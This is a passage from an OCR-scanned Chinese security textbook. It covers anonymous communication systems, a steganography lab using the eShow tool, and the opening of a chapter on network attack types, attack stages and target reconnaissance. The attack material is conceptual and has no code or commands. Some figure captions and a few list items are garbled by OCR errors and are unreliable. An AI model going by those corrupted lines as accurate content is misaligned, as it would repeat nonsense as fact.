以 隐藏 ,使 窃听 者 无 法 直接 获知 或 推 知 双方 的 通信 关系 或 通信 双方 身份 的 一 种 通信 技术 。 
匿名 通信 的 重要 目的 就 是 隐藏 通信 双方 的 身份 或 通信 关系 ,从 而 实现 对 网 络 用户 个 人 通信 
隐私 及 对 涉 密 通信 更 好 地 保护 。 

1981 年 ,Chaum 提出 的 Mix 机 制 和 将 Dining cryptographer 技术 应 用 于 匿名 系统 的 研 
究 工作 ,为 后 继 的 匿名 技术 研究 葛 定 了 良好 的 基础 ,之 后 出 现 了 很 多 关于 改进 Mix 技术 的 
研究 ,同时 提出 了 若干 匿名 通信 协议 及 匿名 通信 原型 系统 ,这 些 协议 和 原型 系统 都 在 一 定 程 
度 上 保证 了 匿名 连接 ,能 够 抵抗 一 定 程度 的 业务 流 分 析 攻 击 。 这 些 系 统 按 其 底层 的 路 由 机 
制 可 分 为 基于 单 播 的 匿名 通信 系统 和 基于 广播 与 组 播 的 匿名 通信 系统 两 类 。 

随 着 电子 商务 .电子 政务 网络 银行 和 网 上 诊所 等 应 用 的 推广 和 普及 ,用 户 的 各 种 各 样 
的 匿名 性 需求 为 研究 者 提出 了 很 好 的 课题 ,这 些 课 题 的 研究 和 应 用 无 疑 又 反 过 来 促进 网 络 
应 用 的 广泛 开展 。 


4.6.2 匿名 通信 技术 的 分 类 


匿名 通信 技术 有 许多 不 同 的 分 类 方法 ,本 节 介 绍 两 种 分 类 方法 ,如 图 4-15 所 示 。 

1. 按 隐匿 对 象 分 类 

根据 需要 隐匿 的 通信 对 象 不 同 , 匿 名 通信 技术 可 分 为 发 送 者 匿名 (Sender Anonymity) 、 
接收 者 匿名 (Receiver Anonymity) 、 通 信 双 方 匿名 (Sender and Receiver Anonymity)、 节 点 
匿名 (Node Anonymity) 和 代理 匿名 (Proxy Anonymity). 

(1) 发 送 者 匿名 是 指 接收 者 不 能 辨认 出 原始 的 发 送 者 。 在 网 络 上 ,发 送 者 匿名 主要 是 
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接收 者 匿名 


H 发 送 者 匿名 
按 隐匿 对 象 分 类 


匿名 通信 技术 代理 匿名 


广播 式 (组 播 式 ) 路 由 匿名 通信 系统 


基于 路 由 的 匿名 通信 技术 


— 重 路 由 匿名 通信 系统 


按 技术 分 类 H 


秘密 共享 机 制 匿名 通信 系统 


非 路 由 的 匿名 通信 技术 


= 其 他 
图 4-15 匿名 通信 技术 分 类 


通过 使 发 送 消息 经 过 一 个 或 多 个 中 间 节 点 ,最 后 才 到 达 目 的 节点 的 方式 实现 的 。 这 样 ,发 送 
者 的 真实 身份 就 会 被 隐藏 。 

(2) 接收 者 匿名 是 指 即使 接收 者 可 以 辨别 出 发 送 者 ,发 送 者 也 不 能 确定 某 个 特定 的 消 
息 是 被 哪个 接收 者 接收 的 。 

(3) 通信 双方 匿名 是 指 信息 发 送 者 和 信息 接收 者 的 身份 均 保密 。 

(4) 节点 匿名 是 指 组 成 通信 信道 的 服务 器 的 匿名 性 , 即 信息 流 所 经 过 线路 上 的 服务 器 
的 身份 不 可 识别 ,要求 第 三 方 不 能 确定 某 个 节点 是 否 与 任何 通信 连接 相关 。 

(5) 代理 匿名 是 指 某 一 节点 不 能 确定 是 发 送 者 和 接收 者 之 间 的 消息 载体 。 

2. 按 技术 分 类 

根据 所 采用 的 技术 ,匿名 通信 技术 可 分 为 基于 路 由 的 匿名 通信 技术 和 非 路 由 的 匿名 通 
ER. 

(1) 基于 路 由 的 匿名 通信 技术 采用 网 络 路 由 技术 来 保证 通信 的 匿名 性 , 即 采 用 路 由 技 
术 改 变 信息 中 的 信息 源 的 真实 身份 ,从 而 保证 通信 匿名 。 依 据 所 采用 的 路 由 技术 不 同 , 又 可 
分 为 广播 式 (或 组 播 式 ) 路 由 匿名 通信 技术 和 重 路 由 匿名 通信 技术 。 广 播 式 (或 组 播 式 ) 路 由 
匿名 通信 技术 采用 广播 或 组 播 的 方式 ,借助 广播 或 组 播 的 多 用 户 特征 ,形成 匿名 集 。 例 如 ， 
用 多 个 接收 者 来 隐藏 真实 接收 者 。 重 路 由 匿名 通信 技术 采用 重 路 由 机 制 来 实现 匿名 ,这 种 
机 制 为 用 户 提供 间接 通信 ,多 个 主机 在 应 用 层 为 用 户 通信 存储 转发 数据 ,形成 一 条 由 多 个 安 
全 信道 组 成 的 虚拟 路 径 。 攻 击 者 无 法 获得 真实 的 发 送 者 和 接收 者 的 IP 地 址 信息 ,从 而 使 通 
信和 实体 的 身份 信息 被 有 效 地 隐藏 起 来 。 

(2) 非 路 由 的 匿名 通信 技术 一 般 建立 在 Shamir 的 秘密 共享 机 制 基础 上 。Shamir 的 秘 
密 共 享 机 制 允 许 n 个 用 户 分 别 拥有 不 同 的 秘密 信息 , 当 达 到 一 定 人 数 的 秘密 信息 后 才能 恢 
复 完整 的 秘密 信息 , 且 这 个 完整 信息 并 不 显示 任何 人 单独 拥有 的 秘密 信息 。 非 路 由 的 匿名 
通信 系统 比较 复杂 ,请 读者 参看 有 关 参 考 书籍 。 
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4.6.3 重 路 由 匿名 通信 技术 


基于 重 路 由 的 技术 是 指 来 自发 送 者 的 消息 通过 一 个 或 多 个 中 间 节 点 ,最 后 才 达 到 接收 
者 的 技术 。 途 经 的 中 间 节 点 起 了 消息 转发 的 作用 ,它们 在 转发 的 时 候 , 会 用 自己 的 地 址 改写 
数据 包 中 的 源 地 址 项 ,这 样 拥有 有 限 监听 能 力 的 攻击 者 将 很 难 追 踪 数 据 包 ,不 易 发 现 消息 的 
初始 发 起 者 。 图 4-16 表示 了 一 个 基于 重 路 由 技术 的 匿名 通信 系统 模型 。 消 息 传递 所 经 过 
的 路 径 被 称 为 重 路 由 路 径 ,途经 的 中 间 转 发 节点 的 个 数 称 为 路 径 长 度 。 


®® 0O 
© 


发 送 者 0 接收 者 
OnO mO 


图 4-16 基于 重 路 由 技术 的 匿名 通信 系统 模型 


一 个 基于 重 路 由 技术 的 匿名 通信 系统 是 由 网 络 中 若干 个 提供 匿名 服务 的 主机 组 成 的 集 
RH V= (0; |0Sj<n} ,其 中 的 主机 v; 称 为 成 员 (Participant) ,系统 中 的 成 员 数 为 |V| 一 
7 三 1) 。 在 系统 运行 期 的 某 一 间隔 时 间 内 (如 1 小 时 ) ,成 员 数 目 固定 为 一 个 常数 。 通 过 
安全 通信 信道 ,两 两 成 员 之 间 可 进行 直接 通信 。 需 要 匿名 通信 服务 的 用 户 选择 一 个 成 员 
SEV 作为 其 代理 成 员 ,并 将 接收 者 的 地 址 传送 给 该 代理 成 员 。 由 该 代理 成 员 发 起 建立 一 条 
由 多 个 成 员 组 成 的 到 达 接 收 者 的 重 路 由 路 径 , 以 用 于 发 送 者 和 接收 者 之 间 的 间接 通信 。 形 
式 化 地 ,一 条 重 路 由 路 径 古 可 表示 为 = 二 《3, 卫 ,T,…,T,…, 攻 ,7) ,其 中 sEV 称 为 通信 的 
发 送 者 (Sender) sr E V 称 为 通信 的 接收 者 (Recipient) ,1 C, EV, 1< <L) H PA 
(Intermediator) ,L(L 二 1,2,…) 为 重 路 由 路 径 所 经 过 的 中 间 节 点 数目 , 称 为 路 径 长 度 。 可 
以 看 到 ,在 图 4-16 中 ,系统 的 成 员 数目 n= 二 16, 重 路 由 路 径 分 别 为 了 二 《0,5,2,7,11,8,r1》 
和 二 (5,10,3,9,r2)。 其 中 ,成 员 0 与 5 分 别 为 TT 的 发 送 者 ,路 径 长 度 分 别 为 Li 二 5 
和 L:=3. 


4.6.4 广播 式 和 组 播 式 路 由 匿名 通信 系统 


1. 广播 式 路 由 匿名 通信 系统 


广播 式 路 由 匿名 通信 系统 是 指 在 网 络 上 将 分 组 发 往 整个 组 中 所 有 目的 地 的 传输 机 制 。 
在 一 个 运用 了 广播 式 路 由 匿名 通信 系统 中 ,所 有 的 用 户 都 以 固定 速率 向 一 个 广播 组 中 的 所 
有 用 户 发 送 固定 长 度 的 数据 包 。 这 些 数据 包 都 是 被 加 密 的 。 为 了 保持 恒定 的 速率 ,没有 消 
息 包 发 送 的 用 户 将 发 送 垃圾 包 。 

1) 广播 式 路 由 匿名 通信 系统 的 优点 

(1) 可 以 保证 接收 者 匿名 。 因 为 发 送 者 难以 确定 接收 者 是 在 整个 广播 组 中 的 哪 一 个 位 
置 或 接收 者 使 用 的 是 哪 台 主机 和 主机 地 址 ,他 只 知道 接收 者 是 广播 组 的 一 部 分 。 

(2) 可 以 保证 发 送 者 匿名 。 因 为 一 个 接收 者 所 接收 到 的 所 有 的 消息 都 来 自 于 一 个 上 游 
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的 节点 ,他 不 能 够 确定 消息 的 初始 发 起 者 是 谁 。 

(3) 还 可 以 同时 保证 发 送 者 与 接收 者 之 间 不 相连 ,用 于 抵御 被 动 的 攻击 者 。 攻 击 者 不 
能 从 对 链 路 的 观察 分 析 中 获取 额外 的 信息 ,因为 消息 包 ( 包 括 垃圾 包 ) 是 以 恒定 的 速率 在 链 
路 上 传递 并 且 是 发 往 同一 个 广播 地 址 的 。 

2) 广播 式 路 由 匿名 通信 系统 的 缺点 

(1) 效率 低 。 由 于 每 次 发 送 报 文 都 需要 所 有 成 员 参 与 ,因此 严重 降低 了 传输 的 效率 。 

(2) 冲突 问题 。 假 设 同 一 时 刻 不 止 一 个 参与 者 发 出 报 文 , 则 广播 的 是 所 有 报 文 之 和 ,这 
样 将 导致 所 有 报 文 信息 的 失效 。 

2. 组 播 式 路 由 匿名 通信 系统 

组 播 式 路 由 匿名 通信 系统 是 网 络 上 一 点 对 多 点 的 传输 机 制 。Multicast class-D 地 址 与 
IP 地 址 不 同 , 它 不 是 附属 与 网 络 的 一 个 特殊 的 装置 ,而 是 相当 于 接收 者 形成 组 的 这 个 整体 
的 一 个 标签 。 一 系列 的 主机 作为 接收 者 ,加 入 组 播 路 由 树 ,它们 的 状态 是 动态 的 ,同时 其 状 
态 也 不 为 路 由 器 和 其 他 的 主机 所 知 。 正 是 由 于 组 播 路 由 存在 着 这 些 性 质 ,因此 可 以 利用 它 
来 提供 匿名 服务 。Hordes 就 采用 了 组 播 路 由 来 实现 匿名 连接 。 采 用 组 播 路 由 的 好 处 有 以 
下 两 点 。 

O 组 播 中 的 成 员 组 成 是 不 为 任何 其 他 实体 所 知 的 。 它 需要 组 播 树 中 的 所 有 路 由 器 的 
协作 ,才能 确定 接收 者 集合 。 对 于 攻击 者 来 说 ,发 现 这 样 的 接收 者 集合 是 比较 困难 的 。 

© 即使 某 个 组 播 的 成 员 组 成 被 发 现 了 ,那个 最 初始 的 发 起 者 ,由 于 他 只 是 一 个 组 中 的 
一 个 成 员 , 因 此 还 是 不 能 将 他 和 其 他 的 组 中 成 员 区 分 开 来 。 只 要 他 不 是 这 个 组 中 唯一 的 成 
员 ,攻击 者 还 是 很 难 确定 最 初始 的 发 起 者 。 


实 训 4 用 易 秀 软件 实现 信息 隐藏 


1. 实 训 目 的 

用 相应 的 软件 实现 信息 隐藏 。 

2. 实 训 环 境 

易 秀 软件 (eShow)。 

3. SUA 

文件 加 密 和 解密 (信息 的 隐藏 ) 。 

4. 实 训 步骤 

实验 前 的 准备 资料 : 一 个 BMP 格式 的 图 片 文 件 ( 作 为 加 密 对 象 ) 和 一 个 Word 文件 (加 
密 内 容 )。 

D 加 密 过 程 

第 1 步 : 打开 易 秀 软件 ,如 图 4-17 所 示 。 

第 2 步 : 单 击 Carrier 按钮 ,在 打开 的 对 话 框 中 选择 图 片 文件 一 一 童话 . BMP, 如 图 4-18 
所 示 。 
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Carrier details [Process status | Message details 


A417 易 秀 软件 界面 


eShow 


文件 名 中 : [E DUP 
RMT): [ALL (+. bmp:*. ico;*. enf:*. wmf) z 取消 


Carrier details [Process status | Message details 
418 选择 图 片 文件 


然后 单 击 “ 打 开 ” 按 钮 ,打开 该 图 片 如 图 4-19 所 示 。 

第 3 步 : Hit Message 按钮 ,在 打开 的 对 话 框 中 选择 要 加 密 的 文件 一 一 童话 . doc, 如 
图 4-20 所 示 。 

然后 单 击 “ 打 开 ? 按 钮 ,嵌入 文档 ,如 图 4-21 所 示 。 

第 4 步 : 单 击 Run 按钮 ,在 弹出 的 对 话 框 中 输入 加 密 后 的 文件 名 一 一 童话 故事 ,如 
图 4-22 所 示 。 

然后 单 击 “ 保 存 ” 按 钮 ,系统 会 弹出 提示 信息 ,如 图 4-23 所 示 。 

最 后 单 击 OK 按钮 ,完成 加 密 过 程 ,其 加 密 效果 如 图 4-24 所 示 。 
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eShow 
File Run Encrypt Options Help 


EE | 


Carrier: 810054 clean 600 X 450 | Process status | 


图 4-19 打开 图 片 


maan [F am 
(20090312101135 _378893103701. pat g 
(zor. aoc 
[TT | 
MAA 088105060 -信息 隐 菩 技 术 实验 报告 doc 


(OREN - 100 天 音乐 实录 av 


[Process status | Message Size: 10240 


Carrier: 810054 clean 600 X 450 


图 4-21 KARH 
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保存 在 中); 一 adm Picture: 


_—_—— | 
= 


Currier: 810054 clean 600 X 450 | Process status ee eee Message Size: 10240 


图 4-22 输入 加 密 后 的 文件 名 


File Run Encrypt Options Help 


Carrier: 810054 clean 600 X 450 Message Size: 10240 


4-24 ”加 密 效果 
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2) 解密 过 程 
第 1 步 : 单 击 Carrier 按钮 ,在 打开 的 对 话 框 中 选择 含有 加 密 信息 的 BMP 文件 一 一 童 
话 故事 . bmp. Wl 4-25 所 示 。 


和 
FRNT): [ALL (+. bmp;* ico;*. enf:*. wmf) x Rik 


图 4-25 选择 加 密 后 的 图 片 
然后 单 击 “ 打 开 ” 按 钮 ,打开 加 密 图 片 ,如 图 4-26 所 示 o 


File Run Encrypt Options Help 


Message Size: 10240 


图 4-26 打开 加 密 图 片 


第 2 步 : 单 击 Run 按钮 ,在 弹出 的 对 话 框 中 输入 解密 后 的 文件 名 “1”, 如 图 4-27 所 示 。 
然后 单 击 “ 保 存 ” 按 钮 后 ,系统 会 弹出 提示 信息 ,如 图 4-28 所 示 。 

此 时 生成 一 个 文件 图 标 ,如 图 4-29 所 示 。 

第 3 步 : 双击 该 图 标 ,显示 出 来 隐藏 信息 一 个 Word 文档 , 即 加 密 信息 如 图 4-30 所 示 。 
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File Run Encrypt Options 


Please save the decrypted file 


加 我 的 文档 irsk 

得 我 的 电脑 Sowsxs 
BALNE DRR 
P 360 安 全 浏览 器 3 


File Run Encrypt Options Help 


Caner... | Message 


解密 完成 


-> C:\Documents and Settings\Adninistrator\ 桌 面 \1 


Carrier: 810055 cryptic 600 X 450 Message Size: 10240 


图 4-28 解密 完成 


i 
图 4-29 生成 的 文件 
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图 4-30 加 密 的 信息 


本 章 小 结 


(1) 信息 隐藏 是 将 秘密 信息 隐藏 在 另 一 非 机 密 的 载体 信息 中 ,通过 公共 信道 进行 传递 。 
秘密 信息 隐藏 后 ,攻击 者 无 法 判断 载体 信息 中 是 否 隐藏 了 秘密 信息 ,也 无 法 从 载体 信息 中 提 
取 或 去 除 所 隐藏 的 秘密 信息 。 信 息 隐 藏 研究 的 内 容 包括 隐 写 术 ( 隐 藏 算法 ) 版 权 标识 、 隐 通 
道 和 匿名 通信 等 。 隐 写 术 是 指 把 秘密 信息 嵌入 到 看 起 来 普通 的 载体 信息 (尤其 是 多 媒体 信 
息 ) 中 ,用 于 存储 或 通过 公共 网 络 进行 通信 的 技术 。 上 古代 隐 写 术 包 括 技术 性 的 隐 写 术 、 请 言 
学 中 的 隐 写 术 和 用 于 版 权 保 护 的 隐 写 术 。 

(2) 信息 隐藏 的 目的 在 于 把 机 密 信息 隐藏 于 可 以 公开 的 信息 载体 之 中 。 信 息 载体 可 以 
是 任何 一 种 多 媒体 数据 ,如 音频 ,视频 ,图 像 ,甚至 文本 数据 等 ,被 隐藏 的 机 密 信息 也 可 以 是 
任何 形式 。 信 息 隐 藏 涉及 两 个 算法 : 信息 嵌入 算法 和 信息 提取 算法 。 常 见 的 信息 隐藏 算法 
有 空间 域 算法 和 变换 域 算法 。 

(3) 数字 水 印 是 在 数字 化 的 信息 载体 ( 指 多 媒体 作品 ) 中 嵌入 不 明显 的 记号 (包括 作品 
的 版 权 所 有 者 和 发 行者 等 ) ,其 目的 不 是 为 了 隐藏 或 传递 这 些 信 息 ,而 是 在 发 现 盗版 或 发 生 
知识 产权 纠纷 时 ,用 来 证 明 数 字 作品 的 真实 性 。 被 嵌入 的 标识 与 源 数据 紧密 结合 并 隐藏 其 
中 ,成 为 源 数据 不 可 分 离 的 一 部 分 ,并 可 以 经 历 一 些 不 破坏 源 数据 的 使 用 价值 的 操作 而 存活 
下 来 。 

CA) 隐 通 道 是 指 系统 中 利用 那些 本 来 不 是 用 于 通信 的 系统 资源 , 绕 过 强制 存 取 控制 进 
行 非法 通信 的 一 种 机 制 。 根 据 隐 通道 的 形成 ,可 分 为 存储 隐 通 道 和 时 间 隐 通道 ; 根据 隐 通 
道 是 否 存在 噪声 ,可 分 为 噪声 隐 通 道 和 无 噪声 隐 通 道 ; 根据 隐 通 道 所 涉及 的 同步 变量 或 信 
息 的 个 数 , 可 分 为 聚集 隐 通 道 和 非 聚集 隐 通 道 。 隐 通道 的 主要 分 析 方 法 有 信息 流 分 析 方法 、 
非 干扰 分 析 方 法 和 共享 资源 矩阵 方法 。 

(5) 匿名 通信 和 是 指 通 过 一 定 的 方法 将 业务 流 中 的 通信 关系 加 以 隐藏 ,使 窃听 者 无 法 直 
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接 获知 或 推 知 双方 的 通信 关系 或 通信 双方 身份 的 一 种 通信 技术 。 匿 名 通信 的 重要 目的 就 是 
隐藏 通信 双方 的 身份 或 通信 关系 ,从 而 实现 对 网 络 用 户 个 人 通信 隐私 及 对 涉 密 通 信 更 好 地 
保护 。 


. 简 述 信息 隐藏 技术 的 发 展 历史 。 

. 试 说 明 隐 写 术 与 加 密 技术 的 相同 点 和 不 同 点 。 

. 简 述 信息 隐藏 技术 的 分 类 与 特性 。 

.请 说 明 数 字 水 印 嵌 入 和 提取 的 原理 ,并 举例 说 明日 常生 活 中 的 可 见 水 印 和 不 可 见 


ew ne 


水 印 。 
5. 试 说 明 隐 通道 的 主要 分 析 方 法 。 
6. 试 说 明基 于 重 路 由 技术 的 匿名 通信 服务 原理 。 
7. 搜集 相关 文献 ,举例 说 明 当前 对 信息 隐藏 技术 的 需求 及 主要 的 技术 手段 和 特点 。 


第 5 竟 网 络 攻击 技术 


随 着 互联 网 的 迅猛 发 展 ,一 些 “ 信 息 垃圾 "“ 邮 件 炸弹 "“ 病 毒 木 马 ”“ 网 络 黑客 "等 越 来 
越 多 地 威胁 着 网 络 的 安全 ,而 网 络 攻击 是 最 重要 的 威胁 来 源 之 一 ,所 以 有 效 地 防范 网 络 攻击 
势 在 必 行 , 真 正 了 解 网 络 攻击 的 各 种 技术 才能 在 网 络 攻防 中 做 到 知己 知 彼 , 百 战 不 列 。 


5.1 网 络 攻击 概述 


5.1.1 网 络 攻 击 的 目标 


网 络 攻击 的 目标 主要 有 两 类 : 系统 和 数据 ,其 所 对 应 的 安全 性 也 涉及 系统 安全 和 数据 
安全 两 个 方面 。 

(1) 系统 型 攻击 的 特点 : 攻击 发 生 在 网 络 的 网 络 层 , 破 坏 系统 的 可 用 性 ,使 系统 不 能 正 
常 工作 。 可 能 留 下 明显 的 攻击 痕迹 ,用 户 会 发 现 系统 不 能 工作 。 

(2) 数据 型 攻击 的 特点 : 攻击 发 生 在 网 络 的 应 用 层 ,面向 信息 ,主要 目的 是 筑 改 和 偷 取 
信息 ,不 会 留 下 明显 的 痕迹 。 


5.1.2 网 络 攻 击 的 手段 


目前 ,攻击 网 络 的 手段 种 类 繁多 ,而 且 新 的 手段 层出不穷 ,网 络 攻 击 可 以 分 为 以 下 两 
大 类 。 

(1) 主动 攻击 。 这 类 攻击 以 各 种 方式 获取 攻击 目标 的 相关 信息 , 找 出 系统 漏洞 ,侵入 系 
统 后 ,将 会 有 选择 地 破坏 信息 的 有 效 性 和 完整 性 ,如 邮件 炸弹 。 

(2) 被 动 攻击 。 这 类 攻击 是 在 不 影响 网 络 正常 工作 的 情况 下 ,进行 截获 窃取 、 破 译 以 
获得 重要 机 密 信 息 , 其 中 包括 窃听 和 通信 流量 分 析 , 如 扫描 器 。 

当前 网 络 攻击 采用 的 主要 手段 是 利用 目前 网 络 系统 以 及 各 种 网 络 软件 的 漏洞 。 例 如 ， 
基于 TCP/IP 协议 本 身 的 不 完善 .操作 系统 的 种 种 缺陷 等 ; 防火 墙 设置 不 当 ; 电子 欺诈 ; 拒 
绝 服务 (包括 DDoS); 网 络 病毒 ; 使 用 黑客 工具 软件 ; 利用 用 户 自己 安全 意识 薄弱 ,如 口令 
设置 不 当 或 直接 将 口令 文件 放 在 系统 里 等 。 


5.1.3 网络 攻击 的 层次 


网 络 攻击 所 使 用 的 方法 不 同 ,产生 的 危害 程度 也 不 同 ,一 般 分 为 以 下 7 个 层次 。 
(1) 简单 拒绝 服务 。 

(2) 本 地 用 户 获 得 非 授权 读 权限 。 

(3) 本 地 用 户 获 得 非 授 权 写 权限 。 

(4) 远程 用 户 获 得 非 授权 账号 信息 。 
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(5) 远程 用 户 获 得 特权 文件 的 读 权 限 。 
(6) 远程 用 户 获 得 特权 文件 的 写 权限 。 
(7) 远程 用 户 拥有 了 系统 管理 员 权 限 。 
在 这 7 个 层次 中 , 随 着 层 号 增 大 ,危害 的 程度 加 重 。 


5.1.4 网 络 攻 击 的 分 类 


1. 阻塞 类 攻击 

阻塞 类 攻击 企图 通过 强制 占有 信道 资源 、 网 络 连 接 资源 .存储 空间 资源 ,使 服务 器 崩溃 
或 资源 耗 尽 无 法 对 外 继续 提供 服务 。 拒 绝 服务 攻击 (Denial of Service,DoS) 是 典型 的 阻塞 
类 攻击 , 它 是 一 类 个 人 或 多 人 利用 Internet 协议 组 的 某 些 工具 ,拒绝 合法 用 户 对 目标 系统 
(如 服务 器 ) 和 信息 的 合法 访问 的 攻击 。 

常见 的 方法 TCP SYN 洪 泛 攻击 、Land 攻击 、Smurf 攻击 .电子 邮件 炸弹 等 多 种 方式 。 

DoS 攻击 的 后 果 : 使 目标 系统 死机 ; 使 端口 处 于 停顿 状态 ; 在 计算 机 屏幕 上 发 出 杂乱 
信息 改变 文件 名 称 、 删 除 关 键 的 程序 文件 ; 扭曲 系统 的 资源 状态 ,使 系统 的 处 理 速 度 降低 。 

2. 探测 类 攻击 

信息 探测 类 攻击 主要 是 收集 目标 系统 的 各 种 与 网 络 安 全 有 关 的 信息 ,为 下 一 步 人 侵 提 
供 帮 助 。 主 要 包括 扫描 技术 、 体 系 结构 刺探 ,系统 信息 服务 收集 等 。 目 前 正在 发 展 更 先进 的 
网 络 无 踪迹 信息 探测 技术 。 

网 络 安全 扫描 技术 : 网 络 安全 防御 中 的 一 项 重要 技术 ,其 原理 是 采用 模拟 攻击 的 形式 
对 目标 可 能 存在 的 已 知 安全 漏洞 进行 逐 项 检查 。 它 既 可 用 于 对 本 地 网 络 进行 安全 增强 ,也 
可 被 网 络 攻 击 者 用 来 进行 网 络 攻击 。 

3. 控制 类 攻击 

控制 类 攻击 是 一 类 试图 获得 对 目标 机 器 控制 权 的 攻击 。 

最 常见 的 有 3 种 : 口令 攻击 、 特 洛 伊 木马 ,缓冲 区 溢出 攻击 。 口 令 截 获 与 破解 仍然 是 最 
有 效 的 口令 攻击 手段 ,进一步 的 发 展 应 该 是 研制 功能 更 强 的 口令 破解 程序 ; 木马 技术 目前 
着 重 研究 更 新 的 隐藏 技术 和 秘密 信道 技术 ; 缓冲 区 溢出 是 一 种 常用 的 攻击 技术 ,早期 利用 
系统 软件 自身 存在 的 缓冲 区 溢出 的 缺陷 进行 攻击 ,现在 研究 制造 缓冲 区 溢出 。 

4. 欺骗 类 攻击 

欺骗 类 攻击 包括 IP 欺骗 和 假 消息 攻击 ,前 一 种 通过 冒充 合法 网 络 主 机 骗取 敏感 信息 ， 
后 一 种 攻击 主要 是 通过 配制 或 设置 一 些 假 信息 来 实施 欺骗 攻击 。 主 要 包括 ARP 缓存 虚 
构 .DNS 高 速 缓存 污染 .伪造 电子 邮件 等 。 

5. 漏洞 类 攻击 

漏洞 (Hole) 是 系统 硬件 或 者 软件 存在 某 种 形式 的 安全 方面 的 脆弱 性 ,这 种 脆弱 性 存在 
的 直接 后 果 是 允许 非法 用 户 未 经 授权 获得 访问 权 或 提高 其 访问 权限 。 针 对 扫描 器 发 现 的 网 
络 系统 的 各 种 漏洞 实施 的 相应 攻击 ,伴随 新 发 现 的 漏洞 ,攻击 手段 不 断 翻 新 ,防不胜防 。 要 
找到 某 种 平台 或 者 某 类 安全 漏洞 也 是 比较 简单 的 。 在 Internet 上 的 许多 站 点 ,不 论 是 公开 
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的 还 是 秘密 的 ,都 提供 漏洞 的 归档 和 索引 等 。 

6. 破坏 类 攻击 

破坏 类 攻击 是 指 对 目标 机 器 的 各 种 数据 与 软件 实施 破坏 的 一 类 攻击 ,包括 计算 机 病毒 、 
逻辑 炸弹 等 攻击 手段 。 逻 辑 炸弹 与 计算 机 病毒 的 主要 区 别 : 逻辑 炸弹 没有 感染 能 力 , 它 不 
会 自动 传播 到 其 他 软件 内 。 由 于 我 国 使 用 的 大 多 数 系统 都 是 国外 进口 的 ,其 中 是 否 存 在 他 
辑 炸 弹 ,应 该 保持 一 定 的 警惕 。 对 于 机 要 部 门 中 的 计算 机 系统 ,应 该 以 使 用 自己 开发 的 软件 
为 主 。 


5.1.5 网 络 攻击 的 一 般 模型 


就 一 般 情况 而 言 ,网 络 攻 击 通 常 遵循 同一 种 行为 模型 ,都 要 经 过 搜集 信息 、 获 取 权 限 、 消 
除 痕迹 和 深入 攻击 等 几 个 阶段 ,如 图 5-1 所 示 。 然 而 一 些 高 明 的 入 侵 者 会 对 自己 隐藏 得 更 
好 ,利用 "* 倪 偶 机 ?来 实施 攻击 ,入 侵 成 功 后 还 会 把 入 侵 痕迹 清除 干净 ,并 留 下 后 门 为 以 后 实 
施 攻 击 提 供 方便 。 


收集 信息 -| 获取 权限 | -| 清除 痕迹 -| 深入 攻击 


5-1 网 络 攻 击 的 一 般 模型 


5.2 信息 收集 技术 


在 攻击 者 对 特定 的 网 络 资源 进行 攻击 以 前 ,他 们 需要 了 解 将 要 攻击 的 环境 ,这 需要 收集 
汇总 各 种 与 目标 系统 相关 的 信息 ,包括 机 器 数目 、 类 型 .操作 系统 等 。 踩 点 和 扫描 的 目的 都 
是 进行 信息 的 收集 。 

使 用 各 种 扫描 工具 对 入 侵 目 标 进 行 大 规模 扫描 ,得 到 系统 信息 和 运行 的 服务 信息 ; 利 
用 第 三 方 资源 对 目标 进行 信息 收集 ,如 搜索 引擎 ; 利用 各 种 查询 手段 得 到 与 被 入 侵 目标 相 
关 的 一 些 信息 ,如 社会 工程 学 。 

攻击 者 收集 目标 信息 一 般 采 用 以 下 7 个 基本 步骤 ,每 一 步 均 有 可 利用 的 工具 ,攻击 者 使 
用 它们 得 到 攻击 目标 所 需要 的 信息 。 

(1) 找到 初始 信息 。 

(2) 找到 网 络 的 地 址 范围 。 

(3) 找到 活动 的 机 器 。 

(4) 找到 开放 端口 和 入 口 点 。 

O FARE RS. 

(6) Fee BET a OZ FF AE DH IRS 。 

(7) 画 出 网 络 图 。 

信息 收集 的 主要 方式 有 以 下 几 种 。 

(1) 隐 茂 地址。 攻击 者 首先 寻找 可 以 利用 别人 的 计算 机 当 * 倪 偶 机 ,隐藏 自己 真实 的 
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IP 地 址 等 位 置信 息 。 

(2) 锁定 目标 。 网 络 上 有 许多 主机 ,攻击 者 接 下 来 的 工作 就 是 寻找 并 确定 目标 主机 。 

(3) 了 解 目标 的 网 络 结构 。 确 定 要 攻击 的 目标 后 ,攻击 者 就 会 设法 了 解 其 所 在 的 网 络 
结构 信息 ,包括 网 关 路 由 、 防 火 墙 ,入侵 检测 系统 (IDS) 等 ,最 简单 的 就 是 用 tracert 命令 追踪 
路 由 ,也 可 以 发 一 些 数据 包 看 其 是 否 能 通过 来 猜测 防火 墙 过 滤 规 则 的 设 定 等 。 

(4) 收集 系统 信息 。 在 了 解 网 络 结构 信息 之 后 ,攻击 者 会 对 主机 进行 全 面 的 系统 分 析 ， 
以 寻求 该 主机 的 操作 系统 类 型 .所 提供 服务 及 其 安全 漏洞 或 安全 弱点 ,攻击 者 可 以 使 用 一 些 
扫描 器 工具 ,轻松 获取 目标 主机 运行 的 操作 系统 及 版 本 ,系统 里 的 账户 信息 ,WWW、FTP、 
Telnet „SMTP 等 服务 器 程序 是 何 种 版 本 和 服务 类 型 ,端口 开放 情况 等 资料 ,主要 方法 有 端 
口 扫 描 、 服 务 分 析 、 协 议 分 析 和 用 户 密码 探测 等 。 


5.2.1 网 络 踩点 


踩点 就 是 通过 各 种 途径 对 所 要 攻击 的 目标 进行 多 方面 的 了 解 ,包括 任何 可 得 到 的 蛛 丝 
马 迹 , 但 要 确保 信息 的 准确 ,以 确定 攻击 的 时 间 和 地 点 。 

常见 的 踩点 方法 包括 以 下 几 种 。 

(1) 在 域名 及 其 注册 机 构 的 查询 。 

(2) 公司 性 质 的 了 解 。 

(3) 对 主页 进行 分 析 。 

(4) 邮件 地 址 的 搜集 。 

(5) 目标 IP 地 址 范围 查询 。 

踩点 的 目的 就 是 探 察 对 方 的 各 方面 情况 ,确定 攻击 的 时 机 。 摸 清除 对 方 最 薄弱 的 环节 
和 守卫 最 松散 的 时 刻 ,为 下 一 步 的 入 侵 提供 良好 的 策略 。 

在 一 些 情况 下 ,公司 会 在 不 知 不 觉 中 泄露 了 大 量 信息 。 公 司 认 为 是 一 般 公开 的 以 及 能 
争取 客户 的 信息 ,都 能 为 攻击 者 利用 。 这 种 信息 一 般 被 称 为 开放 来 源 信息 。 

开放 的 来 源 是 关于 公司 或 者 它 的 合作 伙伴 的 一 般 公 开 的 信息 ,任何 人 能 够 得 到 。 这 意 
